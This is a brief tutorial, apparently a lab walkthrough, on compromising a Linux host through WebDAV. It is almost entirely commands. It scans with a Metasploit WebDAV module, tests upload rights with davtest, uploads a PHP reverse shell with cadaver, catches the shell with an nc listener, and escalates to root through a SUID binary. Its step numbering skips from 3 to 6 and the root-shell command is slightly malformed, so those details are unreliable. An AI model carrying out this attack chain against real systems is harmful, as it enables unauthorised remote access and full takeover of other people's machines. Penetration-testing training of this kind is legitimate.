Exploiting WebDAV
Getting a remote shell on a Linux system
Step 1: Scan for Weaknesses with Metasploit
- Open Metasploit:
- Search for WebDAV modules:
- Load the webdav_scanner:
- Set path to /dav/:
- Set target IP:
- Execute:
$msfconsole
$search webdav
$use auxiliary/scanner/http/webdav_scanner
$set path /dav/
$set RHOSTS 192.168.1.254
exploit
Step 2: Asses File Permissions Using DAVTest
- Run davtest:
- Check for successful directory creation and file uploads
$davtest -url http://192.168.1.254/dav
Step 3: Upload with Cadaver
- Connect via cadaver:
- Test with a file:
- Use and configre a php reverse shell using webshells:
- Configure IP and port on your reverse shell
- Upload a PHP reverse shell:
$cadaver http://192.168.1.254/dav
$put test.txt
$webshells
$put php-reverse-shell.php
- Start a listener on the same port as the reverse shell uses:
$nc -lvnp 5555
Step 6: Privilege Escalation
- Explore methods such as kernel exploits, misconfigs, and programs running with root level privs
- You can use the tool LinEnum to check for any methodsLinEnum
- Identify SUID files
- Execute a privileged process to spwan root shell:
$./path/to/suid_executable -c "/bin/bash/"
You should now have root level access